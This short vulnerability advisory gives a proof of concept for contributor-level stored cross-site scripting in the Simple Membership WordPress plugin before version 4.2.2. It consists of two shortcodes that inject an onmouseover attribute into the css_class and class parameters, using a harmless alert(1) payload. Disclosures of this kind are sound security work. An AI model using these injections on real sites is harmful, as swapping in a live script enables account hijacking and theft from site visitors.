Simple Membership < 4.2.2 - Contributor+ Stored XSS

Proof of Concept

1. Exploit shortcode:

[swpm_paypal_subscription_cancel_link merchant_id='1' css_class='" onmouseover="alert(1)"']

Note: The exploit requires a membership plugin user to log in.

2. Exploit shortcode:

[swpm_payment_button id='1' class='" onmouseover="alert(1)"']

Note: The “Braintree Buy Now” payment button uses the “class” parameter. You can add buttons on the "Payments" > "Manage Payment Buttons" page.